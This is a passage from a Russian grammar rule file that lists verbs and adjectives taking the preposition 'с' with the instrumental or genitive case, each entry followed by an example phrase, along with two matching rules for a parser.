согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, // покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола 